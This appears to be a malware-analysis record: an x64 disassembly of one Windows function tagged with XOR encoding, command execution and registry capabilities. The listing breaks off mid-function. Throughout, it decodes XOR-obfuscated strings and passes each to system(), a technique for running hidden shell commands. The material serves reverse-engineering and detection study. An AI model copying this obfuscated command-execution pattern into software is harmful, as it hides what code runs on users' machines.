Function at 0x140016cf0
Capabilities:
Encode data using xor
Execute command
Query or enumerate registry key
Set registry value

Disassembly:
mov r11, rsp
push rbp
push rbx
lea rbp, [r11 - 0x2b8]
sub rsp, 0x3a8
movaps xmmword [r11 - 0x38], xmm6
movaps xmmword [r11 - 0x48], xmm7
movaps xmmword [r11 - 0x58], xmm8
movaps xmmword [r11 - 0x68], xmm9
mov rax, qword [0x140030040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
movups xmm2, xmmword [0x14002a810]
movzx eax, byte [0x14002a820]
xor ebx, ebx
movdqa xmm9, xmmword [0x14002c5e0]
mov ecx, ebx
movdqa xmm8, xmmword [0x14002c590]
movdqa xmm6, xmmword [0x14002c620]
movdqa xmm7, xmmword [0x14002c560]
mov qword [r11 + 8], rsi
mov esi, dword [0x140030010]
mov qword [r11 + 0x18], r12
mov qword [r11 - 0x18], r13
mov qword [r11 - 0x28], r15
movaps xmmword [r11 - 0x78], xmm10
movdqa xmm10, xmmword [0x14002c5a0]
movaps xmmword [r11 - 0x88], xmm11
movdqa xmm11, xmmword [0x14002c570]
movaps xmmword [r11 - 0x98], xmm12
movdqa xmm12, xmmword [0x14002c5b0]
movaps xmmword [r11 - 0xa8], xmm13
movdqa xmm13, xmmword [0x14002c630]
movaps xmmword [r11 - 0xb8], xmm14
mov byte [rbp - 0x50], al
movups xmmword [rbp - 0x60], xmm2
cmp esi, 2
jl 0x140016f52
movdqa xmm1, xmm7
movd eax, xmm2
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm13
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbp - 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, dword [rbp - 0x5c]
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm13
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbp - 0x5c], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, dword [rbp - 0x58]
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm13
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp - 0x58], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm8
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rbp - 0x54]
psubb xmm1, xmm13
xorps xmm1, xmm0
mov ecx, 0x10
movd dword [rbp - 0x54], xmm1
mov eax, ecx
lea r8, [rbp - 0x60]
add r8, rax
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x11
jl 0x140016f60
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, byte [0x14002be60]
mov ecx, ebx
mov byte [rbp - 0x50], al
movups xmm2, xmmword [0x14002be50]
movups xmmword [rbp - 0x60], xmm2
cmp esi, 2
jl 0x140017153
movd eax, xmm2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm11
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rbp - 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x5c]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rbp - 0x5c], xmm2
movdqa xmm2, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x58]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movd dword [rbp - 0x58], xmm2
movdqa xmm2, xmm12
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rbp - 0x54]
psubd xmm2, xmm0
andps xmm2, xmm9
movd xmm0, ecx
packuswb xmm2, xmm2
mov ecx, 0x10
packuswb xmm2, xmm2
psubb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x54], xmm2
mov eax, ecx
lea r8, [rbp - 0x60]
add r8, rax
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x11
jl 0x140017160
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, byte [0x14002a820]
mov ecx, ebx
mov byte [rbp - 0x50], al
movups xmm2, xmmword [0x14002a810]
movups xmmword [rbp - 0x60], xmm2
cmp esi, 2
jl 0x140017353
movd eax, xmm2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm11
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rbp - 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x5c]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rbp - 0x5c], xmm2
movdqa xmm2, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x58]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movd dword [rbp - 0x58], xmm2
movdqa xmm2, xmm12
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rbp - 0x54]
psubd xmm2, xmm0
andps xmm2, xmm9
movd xmm0, ecx
packuswb xmm2, xmm2
mov ecx, 0x10
packuswb xmm2, xmm2
psubb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x54], xmm2
mov eax, ecx
lea r8, [rbp - 0x60]
add r8, rax
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x11
jl 0x140017360
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14002a830]
mov ecx, ebx
movups xmm1, xmmword [0x14002a840]
mov eax, dword [0x14002a898]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x14002a850]
movups xmmword [rbp], xmm0
movups xmm0, xmmword [0x14002a870]
movups xmmword [rbp - 0x10], xmm1
movups xmm1, xmmword [0x14002a860]
movups xmmword [rbp + 0x20], xmm0
movsd xmm0, qword [0x14002a890]
movups xmmword [rbp + 0x10], xmm1
movups xmm1, xmmword [0x14002a880]
mov dword [rbp + 0x48], eax
movzx eax, word [0x14002a89c]
movsd qword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x30], xmm1
mov word [rbp + 0x4c], ax
cmp esi, 2
jl 0x14001750a
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rbp - 0x1c]
mov r8d, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x68
jl 0x140017420
cmp ecx, 0x6e
jge 0x140017551
movsxd rax, ecx
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x6e
jl 0x140017520
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14002a2b0]
mov ecx, ebx
movups xmm1, xmmword [0x14002a2c0]
movzx eax, byte [0x14002a300]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x14002a2d0]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x14002a2f0]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x14002a2e0]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
mov byte [rbp - 0x70], al
cmp esi, 2
jl 0x1400176aa
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x50
jl 0x1400175c0
cmp ecx, 0x51
jge 0x1400176f1
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x51
jl 0x1400176c0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14002af90]
mov ecx, ebx
movups xmm1, xmmword [0x14002afa0]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x14002afb0]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x14002afd0]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x14002afc0]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
cmp esi, 2
jl 0x140017847
movdqa xmmword [rbp - 0x60], xmm13
lea rcx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
mov edx, ebx
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x50
jl 0x140017760
jmp 0x14001787a
lea r8, [rsp + 0x40]
nop dword [rax]
mov eax, 0xcccccccd
lea r8, [r8 + 1]
mul ecx
shr edx, 3
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x50
jl 0x140017850
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x1400290cd], bl
movups xmm0, xmmword [0x1400290b0]
mov eax, dword [0x1400290c8]
mov dword [rsp + 0x58], eax
movzx eax, word [0x1400290cc]
movups xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x5c], ax
movsd xmm0, qword [0x1400290c0]
movsd qword [rsp + 0x50], xmm0
je 0x140017a11
mov ecx, ebx
cmp esi, 2
jl 0x1400179ca
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x1400178e0
cmp ecx, 0x1e
jge 0x140017a11
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x1e
jl 0x1400179e0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x14002aa30]
mov ecx, ebx
mov dword [rsp + 0x58], eax
movzx eax, byte [0x14002aa34]
mov byte [rsp + 0x5c], al
movups xmm0, xmmword [0x14002aa18]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14002aa28]
movsd qword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x140017b5a
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x140017a70
cmp ecx, 0x1d
jge 0x140017ba1
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x1d
jl 0x140017b70
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, word [0x14002a948]
mov ecx, ebx
mov word [rsp + 0x60], ax
movups xmm0, xmmword [0x14002a928]
movups xmm1, xmmword [0x14002a938]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
cmp esi, 2
jl 0x140017cda
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140017bf0
cmp ecx, 0x22
jge 0x140017d21
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x22
jl 0x140017cf0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140029db0]
mov ecx, ebx
mov dword [rsp + 0x60], eax
movzx eax, byte [0x140029db4]
mov byte [rsp + 0x64], al
movups xmm0, xmmword [0x140029d90]
movups xmm1, xmmword [0x140029da0]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
cmp esi, 2
jl 0x140017e6a
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140017d80
cmp ecx, 0x25
jge 0x140017eb1
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x25
jl 0x140017e80
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140028e70]
mov ecx, ebx
mov dword [rsp + 0x60], eax
movzx eax, byte [0x140028e74]
mov byte [rsp + 0x64], al
movups xmm0, xmmword [0x140028e50]
movups xmm1, xmmword [0x140028e60]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
cmp esi, 2
jl 0x140017ffa
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x44]
